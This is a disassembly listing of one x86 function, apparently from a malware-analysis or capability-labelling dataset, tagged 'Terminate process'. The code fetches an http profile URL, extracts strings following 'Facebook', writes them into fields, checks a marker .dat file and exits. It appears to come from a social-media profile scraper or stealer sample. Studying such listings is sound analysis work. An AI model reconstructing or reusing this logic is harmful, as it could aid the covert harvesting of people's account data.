Function at 0x4031d5
Capabilities:
Terminate process

Disassembly:
mov eax, 0x407b80
call fcn.00407910
sub esp, 0x600
push ebx
push esi
mov esi, ecx
push edi
push str._profile.
mov dword [ebp - 0x1c], esi
lea eax, [esi + 0xc68]
push eax
lea eax, [ebp - 0x60c]
push str.http:__www._s_sphp
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
lea eax, [ebp - 0x60c]
mov ecx, esi
push eax
push dword [ebp + 8]
call fcn.00404d67
test al, al
je 0x403589
mov edi, 0x40bd84
lea eax, [esi + 0x404]
push edi
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [esi + 0x804]
push edi
push eax
call sub.MSVCRT.dll_strcpy
xor ebx, ebx
add esp, 0x10
mov dword [ebp - 0x20], ebx
lea eax, [ebp - 0x20]
mov ecx, esi
push eax
mov dword [ebp - 4], ebx
push dword [ebp + 8]
call fcn.00404f34
cmp al, bl
je 0x403545
cmp dword [ebp - 0x20], ebx
je 0x403545
push dword [ebp - 0x20]
call dword [sym.imp.OLEAUT32.dll_VariantInit]
test eax, eax
jbe 0x403545
mov edi, dword [sym.imp.MSVCRT.dll_wcsstr]
push 0x40b67c
push dword [ebp - 0x20]
call edi
pop ecx
cmp eax, ebx
pop ecx
mov dword [ebp - 0x14], eax
je 0x40339f
push 0x40b678
push eax
call edi
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
je 0x40339f
cmp edi, dword [ebp - 0x14]
jbe 0x40339f
lea eax, [ebp - 0x224]
mov dword [ebp - 0x10], 0xfe
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
push 1
mov word [eax], bx
call dword [sym.imp.KERNEL32.DLL_Sleep]
add dword [ebp - 0x18], 2
dec dword [ebp - 0x10]
jne 0x4032cb
sub edi, dword [ebp - 0x14]
lea eax, [ebp - 0x224]
sar edi, 1
push edi
push dword [ebp - 0x14]
push eax
call dword [sym.imp.MSVCRT.dll_wcsncpy]
lea eax, [ebp - 0x224]
mov byte [esi + 0x804], bl
push eax
mov dword [ebp - 0x10], ebx
call dword [sym.imp.MSVCRT.dll_wcslen]
add esp, 0x10
test eax, eax
jbe 0x40339f
lea eax, [ebp - 0x224]
mov dword [ebp - 0x14], eax
push 1
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov eax, dword [ebp - 0x14]
mov word [ebp - 0x16], bx
mov ax, word [eax]
mov word [ebp - 0x18], ax
lea eax, [ebp - 0x18]
test eax, eax
jne 0x403343
xor edi, edi
jmp 0x403376
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
lea esi, [eax + eax + 2]
mov eax, esi
add eax, 3
and al, 0xfc
call fcn.00407940
mov edi, esp
push ebx
push ebx
push esi
push edi
lea eax, [ebp - 0x18]
push 0xffffffffffffffff
push eax
push ebx
push ebx
mov byte [edi], bl
call dword [sym.imp.KERNEL32.DLL_WideCharToMultiByte]
mov esi, dword [ebp - 0x1c]
lea eax, [esi + 0x804]
push edi
push eax
call sub.MSVCRT.dll_strcat
inc dword [ebp - 0x10]
add dword [ebp - 0x14], 2
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.MSVCRT.dll_wcslen]
add esp, 0xc
cmp dword [ebp - 0x10], eax
jb 0x403322
mov dword [ebp - 0x24], ebx
mov eax, dword [ebp + 8]
lea edx, [ebp - 0x24]
push edx
push eax
mov ecx, dword [eax]
mov byte [ebp - 4], 1
call dword [ecx + 0x74]
cmp dword [ebp - 0x24], ebx
je 0x403425
push dword [ebp - 0x24]
call dword [sym.imp.OLEAUT32.dll_VariantInit]
test eax, eax
jbe 0x403425
push str.Facebook_
push dword [ebp - 0x24]
call dword [sym.imp.MSVCRT.dll_wcsstr]
pop ecx
cmp eax, ebx
pop ecx
je 0x403425
add eax, 0x16
cmp eax, ebx
mov dword [ebp + 8], eax
jne 0x4033e7
xor edi, edi
jmp 0x403416
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
lea esi, [eax + eax + 2]
mov eax, esi
add eax, 3
and al, 0xfc
call fcn.00407940
mov edi, esp
push ebx
push ebx
push esi
push edi
push 0xffffffffffffffff
push dword [ebp + 8]
mov byte [edi], bl
push ebx
push ebx
call dword [sym.imp.KERNEL32.DLL_WideCharToMultiByte]
mov esi, dword [ebp - 0x1c]
add esi, 0x404
push edi
push esi
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
push 0x1e
xor edx, edx
pop ecx
div ecx
push edx
call dword [sym.imp.KERNEL32.DLL_Sleep]
push 0x40b640
push dword [ebp - 0x20]
call dword [sym.imp.MSVCRT.dll_wcsstr]
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
je 0x40353c
lea eax, [esi + 4]
push 0x40b63c
push eax
call dword [sym.imp.MSVCRT.dll_wcsstr]
mov edx, eax
pop ecx
cmp edx, ebx
pop ecx
je 0x40353c
push 0x7f
xor eax, eax
pop ecx
lea edi, [ebp - 0x224]
rep stosd dword es:[edi], eax
add esi, 0x1e
sub edx, esi
sar edx, 1
stosw word es:[edi], ax
push edx
lea eax, [ebp - 0x224]
push esi
push eax
call dword [sym.imp.MSVCRT.dll_wcsncpy]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x10], ebx
lea esi, [eax + 0xc04]
lea eax, [ebp - 0x224]
push eax
mov dword [ebp - 0x14], esi
mov byte [esi], bl
call dword [sym.imp.MSVCRT.dll_wcslen]
add esp, 0x10
test eax, eax
jbe 0x40353c
lea eax, [ebp - 0x224]
mov dword [ebp - 0x1c], eax
push 1
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov eax, dword [ebp - 0x1c]
mov word [ebp + 0xa], bx
mov ax, word [eax]
mov word [ebp + 8], ax
lea eax, [ebp + 8]
test eax, eax
jne 0x4034e6
xor edi, edi
jmp 0x403519
lea eax, [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
lea esi, [eax + eax + 2]
mov eax, esi
add eax, 3
and al, 0xfc
call fcn.00407940
mov edi, esp
push ebx
push ebx
push esi
push edi
lea eax, [ebp + 8]
push 0xffffffffffffffff
push eax
push ebx
push ebx
mov byte [edi], bl
call dword [sym.imp.KERNEL32.DLL_WideCharToMultiByte]
mov esi, dword [ebp - 0x14]
push edi
push esi
call sub.MSVCRT.dll_strcat
inc dword [ebp - 0x10]
add dword [ebp - 0x1c], 2
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.MSVCRT.dll_wcslen]
add esp, 0xc
cmp dword [ebp - 0x10], eax
jb 0x4034c5
push dword [ebp - 0x24]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
push 0x40b160
push str.c:45788444456d.dat
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
je 0x403580
push 0xa
call dword [sym.imp.KERNEL32.DLL_Sleep]
push esi
call dword [sym.imp.MSVCRT.dll_fgetc]
cmp al, 3
pop ecx
jne 0x403579
push 1
call dword [sym.imp.MSVCRT.dll_exit]
push ebx
call dword [sym.imp.MSVCRT.dll_exit]
push dword [ebp - 0x20]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov ecx, dword [ebp - 0xc]
lea esp, [ebp - 0x618]
mov al, 1
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 4